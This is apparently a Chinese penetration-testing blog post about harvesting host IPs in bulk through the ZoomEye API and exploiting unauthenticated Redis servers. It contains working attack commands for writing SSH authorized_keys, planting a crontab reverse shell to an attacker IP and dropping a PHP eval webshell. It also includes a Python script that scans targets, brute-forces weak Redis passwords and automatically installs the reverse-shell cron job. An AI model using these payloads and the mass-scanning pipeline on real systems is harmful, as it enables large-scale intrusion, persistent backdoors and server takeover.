ZoomEyeAPI批量抓取与Redis未授权访问

介绍

Zoomeye是知道创宇开发的一款很厉害的搜索引擎,不过相对于传统的百度,它是用作搜索主机设备,web应用指纹。

ZoomEye 支持公网设备指纹检索和 Web
指纹检索网站指纹包括应用名、版本、前端框架、后端框架、服务端语言、服务器操作系统、网站容器、内容管理系统和数据库等。设备指纹包括应用名、版本、开放端口、操作系统、服务名、地理位置等

如果我们掌握了某个cms的版本漏洞(0day or not),或者是某个主机端口服务存在可以利用的漏洞,都可以通过zoomeye快速获取到大批量指定cms,版本,端口的主机和网站,然后……._

Zoomeye 这个是zoomeye的官方网站
如果你只是需要几个ip或者网站测试一下,那上官网找几个就OK了,但是你想要结合自动化脚本进行批量测试(即使存在漏洞,可能由于漏洞执行的条件比较苛刻,成功率较低),那么获取批量ip的步骤是必不可少的。通过官网手动找ip的方式略显费力,耗神还麻烦,好在zoomeye为广大开发者提供了api,我们就可以调用api从而获取大量符合条件的ip或者网址来结合我们的自动化脚本了。

Zoomeye开发者文档
Zoomeye的api调用起来很方便快捷,不过通过api查询的次数有资源限额的,所以要注意控制下每次的查询量。
Zoomeye的api的调用逻辑
1. 用户登录,获取访问凭证 (token),同时token有时效性
2. 调用api查询,需要提供token


获取Token代码

user = input('[-] input : username :')
password = input('[-] input : password :')
data = {
    'username': user,
    'password': password
}
data_encoded = json.dumps(data)
try:
    r = requests.post(url='https://api.zoomeye.org/user/login', data=data_encoded)
    r_decoded = json.loads(r.text)
    access_token = r_decoded['access_token']
except Exception as e:
    print('[-] info : username or password is wrong, please try again ')
    return None
return access_token

Api查询

def apiTest(headers, config, page=1):
if 'ver' in config.keys():
    base_url = 'https://api.zoomeye.org/host/search?query='
else:
    base_url = 'https://api.zoomeye.org/web/search?query='
for key, value in config.items():
    if value is None:
        continue
    else:
        base_url += str(key)+':'+(value)
    base_url += '&'
base_url += 'page='

for i in range(page):
    url = base_url+str(i+1)
    print(url)
    try:
        r = requests.get(url=url, headers=headers)
        r_decoded = json.loads(r.text)
        for x in r_decoded['matches']:
            print(x['ip'])
            ip_list.add(x['ip'])
    except Exception as e:
            print('[-] info : ' + str(e))

上面只是比较关键的代码,全部的代码在这代码地址


Redis未授权访问

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库。
而Redis未授权访问指的是Redis数据库没有做好严格的访问权限控制,使得匿名攻击者可以直接或者通过弱密码访问数据库,窃取数据库中的信息,并且利用Redis数据库进行进一步渗透工作。

Redis作用

在linux 安装Redis, redis-cli -h xxx.xxx.xxx.xxx 连接远程redis服务端
Redis主要可以干什么

  • 操控当前数据库内容
  • 获取并设置Redis当前操作路径
    • 注意:这个设置操作路径需要提供系统的绝对路径,Redis是没办法查看系统的路径和文件的,所以路径只能通过爆破来写
  • 写文件
    • 同样需要一定条件
  • 获得粗略的系统信息

如果你与目标主机的Redis连接后,你可以用一下几个命令测试下目前Redis的权限和功能
1. save,可以保存Redis中的数据到硬盘,如果命令save'返回ERR,那么可以选择放弃这个漏洞了,因为你做的所有都仅仅处于数据库内存中,没办法被其他系统服务利用。
2.
config set dir /root/.ssh` 如果目标系统是Linux且有ssh服务,那么这个指令可以切换到ssh目录下,不过如果redis权限较低的话是没有权限访问该目录的。

经过我的实验发现,有效利用redis未访问漏洞可以根据权限分成下面两种方式:
1. Redis权限较高,可以写ssh或者反弹shell
2. Redis权限较低,可以写网站webshell文件

我有高权限

  1. 可以往系统ssh服务中写ssh文件,从而通过外部主机匿名ssh连接目标服务器(主机可能禁用ssh密码登录服务)
    ssh-keygen -t rsa
    (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
    cat /root/.ssh/key.txt | redis-cli -h 192.168.10.153 -x set xxx
    redis-cli -h 192.168.10.153

    设置redis的备份路径为/root/.ssh和保存文件名authorized_keys
    config set dir /root/.ssh
    config set dbfilename authorized_keys
    config_set
    save    
  1. 在crontab里写定时任务,反弹shell,这个比较靠谱
    nc -l 4444 //监听端口
    redis-cli -h 192.168.152.128
    set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/your_ip/4444 0>&1\n\n"
    config set dir /var/spool/cron
    config set dbfilename root
    save

高权限嘛,考虑的都是拿服务器的事情。

我权限低

权限再低,我还是可以写文件嘛,写病毒木马不说,最直接的想法是写webshell
不过写webshell需要三个条件:
– 服务器有WEB应用
– 你找得到WEB应用的路径
– WEB应用是什么语言写的

  1. 服务器有WEB应用
    上述写ssh,反弹webshell都是linux下的姿势,windows我也不太懂,不过如果os是windows写不了ssh,那么一般可以这样搞,就是搞web应用。可以用nmap扫一下主机开了啥端口,80,8080,443都可以关注一下。写webshell肯定需要web的嘛
  2. WEB应用的路径
    因为Redis是没有办法查询路径的,所以你要写webshell首先需要获得网站的绝对路径。这个其实说麻烦也麻烦,说简单也简单,如果一个网站比较好,把报错信息都处理好,且路径设置得比较贼,一般是获取不到网站的绝对路径的。所以在这一步上,其实很看运气!
  3. 识别后台语言
    这一步相对而言比较简单,方便我们有针对性的写webshell嘛。一般有绝对路径,这一步肯定可以知道的。

写Webshell其实和写ssh一样,只是路径等变化了而已

redis-cli -h 192.168.152.128
config set dir /var/www/html
set xxx "\n\n\n<?php eval($_POST['leslie']);?>\n\n\n"
config set dbfilename webshell.php
save

上述都是手动操作,有了Zoomeye获得大量ip,一个一个去试可是很麻烦的,写一个自动化脚本跑很省力.

import socket
import sys


web_ip_set = set()
root_ip_set = set()
save_ip_set = set()
password_ip_set = set()


def check(ip, port, timeout):
    socket.setdefaulttimeout(timeout)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, int(port)))
    s.send('save\r\n'.encode('utf-8'))
    result = str(s.recv(1024))
    if 'OK' in result:
        print('It can save the file to the disk')
        s.send('config set dir /root/.ssh\r\n'.encode('utf-8'))
        result = str(s.recv(1024))
        if 'Permission denied' in result:
            print('Permission denied')
            save_ip_set.add(ip)
        elif 'OK' in result:
            print('It probably can write the ssh !!')
            root_ip_set.add(ip)
        else:
            print('It may be the windows os')
            save_ip_set.add(ip)
        s.send('config set dir /var/www/html\r\n'.encode('utf-8'))
        result = str(s.recv(1024))
        if 'OK' in result:
            print('/var/www/html may have the web app')
            web_ip_set.add(ip)
        else:
            print('/var/www/html dont have web app, your can scan the ports of it')
            save_ip_set.add(ip)
    elif "Authentication" in result:
        for pass_ in PASSWORD_DIC:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((ip, int(port)))
            s.send(("AUTH %s\r\n" % (pass_)).encode('utf-8'))
            result = s.recv(1024)
            if 'OK' in result:
                password_ip_set.add(ip)
                return "ip %s 存在弱口令,密码:%s" % (ip, pass_)
    else:
        print('Just give up this ip, it can not save the data')



def auto_attack(ip, port,timeout):
    socket.setdefaulttimeout(timeout)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, int(port)))
    payload = ['set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.152.129/4444 0>&1\n\n"',
               'config set dir /var/spool/cron',
               'config set dbfilename root',
               'save']
    for i in payload:
        s.send(i.encode('utf-8'))
        result = s.recv(1024)
        print(result)



if __name__ == '__main__':
    import time
    PASSWORD_DIC = ['redis', 'root', 'oracle', 'password', 'p@aaw0rd', 'abc123!', '123456', 'admin']

    data = time.ctime() + '\n'
    for i in root_ip_set:
        data += '[Root] %s \n'% i
    for i in web_ip_set:
        data += '[Web] %s \n' % i
    for i in save_ip_set:
        data += '[Save] %s \n' % i
    for i in password_ip_set:
        data += '[Pass] %s \n' % i
    with open('Redis_unauth_access.txt', 'w+') as f:
        f.write(data)

    check('xxx.xxx.xxx.xxx', '6379', 30)

总结

  1. 利用zoomeye的Api,我们可以批量获取符合条件的主机,对于我们的web渗透的能力提升十分有帮助,结合自动化脚本,可以实现批量的漏洞验证,节省了大量的测试时间和精力
  2. 认识了Redis未授权访问漏洞,并且通过实践去测试Redis未授权访问漏洞到底可以干什么,限制条件在哪里等等,很多事情都是理论上直接getshell,实际上都是Permission denied and Error !!!